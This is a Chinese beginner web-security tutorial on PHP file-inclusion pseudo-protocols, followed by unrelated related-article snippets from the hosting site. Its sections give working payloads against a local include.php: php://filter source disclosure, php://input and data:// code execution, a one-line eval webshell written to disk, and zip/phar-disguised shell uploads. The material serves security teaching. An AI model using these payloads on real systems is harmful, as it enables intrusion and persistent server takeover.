网安入门15-文件包含(伪协议总结)

php://[输入输出流]

跟**http://**一样,这是php的一个特定的协议格式,统称为伪协议,这是所有伪协议的父类
php:// 可用于以下目的:

  1. 读取来自用户输入的数据
  2. 写入数据到客户端浏览器
  3. 记录错误信息

php://filter

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

说明

php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取

用法

两个用法本质一样

  1. ?filename=php://filter/read=convert.base64-encode/resource=[文件名]
    http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
  2. ?filename=php://filter/convert.base64-encode/resource=[文件名]
    http://127.0.0.1/include.php?filename=php://filter/convert.base64-encode/resource=phpinfo.php

php://input

条件
  • allow_url_fopen:off/on
  • allow_url_include:on
作用

可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分

说明
  • POST提交PHP代码,造成任意代码执行,如写入文件(木马)。php://input可以访问请求的原始数据的只读流,即可以直接读取到POST上没有经过解析的原始数据。
  • enctype="multipart/form-data”的时候php://input是无效的。
用法

php://input + [POST DATA]执行在post体中的php代码

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

若有写入的权限,可以写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>

zip://

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

属于压缩流,php解压缩包的一个函数,不管后缀是什么,可修改为任意后缀像是jpg png gif,都会当做压缩包来解压。

说明
  • PHP>=5.3.0,注意在windows"下测试要5.3.0<PHP<5.4才可以
  • #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
用法

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名](#编码为%23)
压缩shell.php为shell.zip,压缩包重命名为shell.jpg,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\shell.jpg%23shell.php

phar://

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

与zip://类似,同样可以访问zip格式压缩包内容

说明
  • PHP>=5.3.0;压缩包需要是zip协议压缩,rar不行

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术,因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。
利用 phar 拓展 php 反序列化漏洞攻击面

用法

?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
压缩shell.php为shell.zip,压缩包重命名为shell.png,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=phar://E:\phpStudy\PHPTutorial\WWW\shell.png/shell.php

data://

条件
  • allow_url_fopen:on
  • allow_url_include:on
作用

数据流封装器,和php:/相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

说明

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法
  1. data://text/plain,
    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
  2. data://text/plain;base64,
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/342648.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2023年国庆节深圳市节假日人口迁出数据,shp/excel格式

基本信息 数据名称: 深圳市节假日人口迁出数据 数据格式: Shp、excel 数据时间: 2023年国庆节 数据几何类型: 线 数据坐标系: WGS84 数据来源&#xff1a;网络公开数据 数据字段&#xff1a; 序号字段名称字段说明1a0928迁出人口占迁出深圳市人口的比值&#xff08…

芯课堂 | 一种带WIFI的智能多电机控制系统

现有技术中&#xff0c;每台智能家电基本均需配置一台电机及一个WiFi模组&#xff0c;每台智能家电的电机均通过对应的WiFi模组连接家庭无线路由器进行组网&#xff0c;从而实现网络连接。 但是&#xff0c;这种方式存在技术瓶颈。例如&#xff0c;当一个家庭中智能家电的数量…

算法——贪心法(Greedy)

贪心法 把整个问题分解成多个步骤&#xff0c;在每个步骤都选取当前步骤的最优方案&#xff0c;直到所有步骤结束&#xff1b;在每一步都不考虑对后续步骤的影响&#xff0c;在后续步骤中也不再回头改变前面的选择。不足之处&#xff1a; 贪心算法并不能保证获得全局最优解&…

vue实现导航里面锚点定位和滚动监听功能

需求 我们在开发过程中有时候会遇到左侧导航菜单栏数据需要监听和右侧顶部导航菜单联动效果。这里我们通常使用锚点定位和滚动监听方法实现。这里我们使用两种方案解决&#xff0c;第一是常规的出来方法&#xff0c;第二是通过uniapp里面的scroll-view进行处理 具体实现方案如…

数据库管理-第132期 该如何成为一个合格的DBA(20240112)

数据库管理132期 2024-01-12 第132期 该如何成为一个合格的DBA&#xff08;20240112&#xff09;1 路线2 心态3 本质总结 第132期 该如何成为一个合格的DBA&#xff08;20240112&#xff09; 去年总结的时候&#xff0c;把最后一个活动搞丢了&#xff0c;【ACDU分享会】DBA的危…

微软等开源评估ChatGPT、Phi、Llma等,统一测试平台

微软亚洲研究院、中国科学院自动化研究所、中国科学技术大学和卡内基梅隆大学联合开源了&#xff0c;用于评估、分析大语言模型的统一测试平台——PromptBench。 Prompt Bench支持目前主流的开源、闭源大语言模型&#xff0c;例如&#xff0c;ChatGPT、GPT-4、Phi、Llma1/2、G…

Android音频框架之一 详解audioPolicy流程及HAL驱动加载与配置

一、 AndroidRuntime.so 引发思考 android 系统 framework 代码起点, frameworks/base/core/jni/AndroidRuntime.cpp 文件&#xff0c; 此文件是android系统主线程代码&#xff0c;代码内容涉及系统很多模块&#xff0c;此程序主要是注册模块的JNI接口方法。其中涉及到模块 na…

使用pandas按照商品和下单人统计下单数据

目录 一&#xff1a;需求描述 二&#xff1a;代码实现 三&#xff1a;注意事项 一&#xff1a;需求描述 最近运营那边给到一个excel表格&#xff0c;是一个小程序用户的下单数据&#xff0c;要以商品为维度&#xff0c;统计用户下单情况&#xff0c;主要是下单的商品总金额&…

两周掌握Vue3(四):计算属性、监听属性、事件处理

文章目录 一、计算属性1.什么是计算属性2.代码示例 二、监听属性三、事件处理 代码仓库&#xff1a;跳转 当前分支&#xff1a;04 一、计算属性 1.什么是计算属性 Vue 中的计算属性具有以下作用&#xff1a; 数据处理&#xff1a;计算属性可以用于对数据进行处理和计算&…

开源笔记工具AFFiNE本地部署并结合内网穿透

前言 本篇文章讲解Notion开源平替全能知识库工具AFFINE如何本地部署&#xff0c;并实现公网远程访问。AFFiNE 是一个全新的开源项目&#xff0c;旨在克服 Notion 和 Miro 在安全和隐私方面的一些局限性。它的设计目标是帮助用户将会议记录、待办事项、文档中的目标、视频会议白…

如何运用自养号测评策略在Lazada、Shopee上轻松提升销售和排名

卖家们常常会为Lazada、Shopee店铺销量不佳而感到困惑。然而&#xff0c;仅仅感叹并不能解决问题。作为卖家&#xff0c;我们需要深入分析问题&#xff0c;并采取有效的措施来解决它们。基本功是提升销量的基石&#xff0c;但仅仅依靠基本功是不够的。我们需要将运营和测评结合…

【Java】正则表达式( Pattern 和 Matcher 类)

快速入门 Java 提供了 java.util.regex 包&#xff0c;它包含了 Pattern 和 Matcher 类&#xff0c;用于处理正则表达式的匹配操作。 java.util.regex 包主要包括以下三个类&#xff1a; Pattern 类&#xff1a; pattern 对象是一个正则表达式的编译表示。Pattern 类没有公共…